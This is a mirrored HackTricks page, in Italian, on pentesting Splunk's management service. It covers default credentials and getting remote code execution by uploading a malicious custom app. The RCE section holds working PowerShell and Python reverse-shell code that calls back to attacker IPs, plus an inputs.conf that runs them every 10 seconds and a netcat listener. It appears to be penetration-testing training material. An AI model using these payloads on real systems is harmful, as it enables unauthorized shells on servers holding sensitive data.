mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
140 lines
8.7 KiB
Markdown
140 lines
8.7 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## **Informazioni di base**
|
|
|
|
Splunk è uno **strumento di analisi dei log** che svolge un ruolo cruciale nel **raccogliere, analizzare e visualizzare i dati**. Sebbene il suo scopo iniziale non fosse quello di fungere da **SIEM (Security Information and Event Management)**, ha guadagnato popolarità nel campo del **monitoraggio della sicurezza** e dell'**analisi aziendale**.
|
|
|
|
Le implementazioni di Splunk sono frequentemente utilizzate per memorizzare **dati sensibili** e possono servire come una **fonte preziosa di informazioni** per potenziali attaccanti se riescono a compromettere il sistema. **Porta predefinita:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
Il **server web di Splunk è in esecuzione per impostazione predefinita sulla porta 8000**.
|
|
{% endhint %}
|
|
|
|
## Enumerazione
|
|
|
|
### Versione Gratuita
|
|
|
|
La prova di Splunk Enterprise si trasforma in una **versione gratuita dopo 60 giorni**, che **non richiede autenticazione**. Non è raro che gli amministratori di sistema installino una prova di Splunk per testarlo, che viene **successivamente dimenticata**. Questo si trasformerà automaticamente nella versione gratuita che non ha alcuna forma di autenticazione, introducendo una falla di sicurezza nell'ambiente. Alcune organizzazioni possono optare per la versione gratuita a causa di vincoli di budget, senza comprendere appieno le implicazioni di non avere gestione degli utenti/ruoli.
|
|
|
|
### Credenziali Predefinite
|
|
|
|
Nelle versioni più vecchie di Splunk, le credenziali predefinite sono **`admin:changeme`**, che sono convenientemente visualizzate sulla pagina di accesso.\
|
|
Tuttavia, **l'ultima versione di Splunk** imposta **le credenziali** **durante il processo di installazione**. Se le credenziali predefinite non funzionano, vale la pena controllare password deboli comuni come `admin`, `Welcome`, `Welcome1`, `Password123`, ecc.
|
|
|
|
### Ottenere Informazioni
|
|
|
|
Una volta effettuato l'accesso a Splunk, possiamo **sfogliare i dati,** eseguire **report**, creare **dashboard**, **installare applicazioni** dalla libreria Splunkbase e installare applicazioni personalizzate.\
|
|
Puoi anche eseguire codice: Splunk ha più modi di **eseguire codice**, come applicazioni Django lato server, endpoint REST, input scriptati e script di allerta. Un metodo comune per ottenere l'esecuzione remota di codice su un server Splunk è attraverso l'uso di un input scriptato.
|
|
|
|
Inoltre, poiché Splunk può essere installato su host Windows o Linux, possono essere creati input scriptati per eseguire script Bash, PowerShell o Batch.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Crea Applicazione Personalizzata
|
|
|
|
Un'applicazione personalizzata può eseguire **script Python, Batch, Bash o PowerShell**.\
|
|
Nota che **Splunk viene fornito con Python installato**, quindi anche nei sistemi **Windows** sarai in grado di eseguire codice python.
|
|
|
|
Puoi utilizzare [**questo**](https://github.com/0xjpuff/reverse\_shell\_splunk) pacchetto Splunk per assisterci. La directory **`bin`** in questo repo ha esempi per [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Procediamo passo dopo passo.
|
|
|
|
Per ottenere questo, dobbiamo prima creare un'applicazione Splunk personalizzata utilizzando la seguente struttura di directory:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
La **`bin`** directory conterrà eventuali **script che intendiamo eseguire** (in questo caso, una **PowerShell** reverse shell), e la directory predefinita avrà il nostro file `inputs.conf`. La nostra reverse shell sarà un **PowerShell one-liner:**
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
Il file [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) indica a Splunk **quale script eseguire** e altre condizioni. Qui impostiamo l'app come abilitata e diciamo a Splunk di eseguire lo script ogni 10 secondi. L'intervallo è sempre in secondi e l'input (script) verrà eseguito solo se questa impostazione è presente.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Dobbiamo il file `.bat`, che verrà eseguito quando l'applicazione viene distribuita ed eseguirà il comando PowerShell.
|
|
|
|
Il passo successivo è scegliere `Install app from file` e caricare l'applicazione.
|
|
|
|
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Prima di caricare l'app personalizzata malevola, iniziamo un listener utilizzando Netcat o [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Sulla pagina `Upload app`, clicca su browse, scegli il tarball che abbiamo creato in precedenza e clicca su `Upload`. Appena **carichiamo l'applicazione**, una **reverse shell viene ricevuta** poiché lo stato dell'applicazione verrà automaticamente cambiato in `Enabled`.
|
|
|
|
#### Linux
|
|
|
|
Se stessimo trattando un **host Linux**, dovremmo **modificare lo script Python `rev.py`** prima di creare il tarball e caricare l'app personalizzata malevola. Il resto del processo sarebbe lo stesso, e otterremmo una connessione reverse shell sul nostro listener Netcat e saremmo pronti a partire.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Privilege Escalation
|
|
|
|
Nella pagina seguente puoi trovare una spiegazione su come questo servizio può essere abusato per elevare i privilegi e ottenere persistenza:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Riferimenti
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
|
|
</details>
|
|
{% endhint %}
|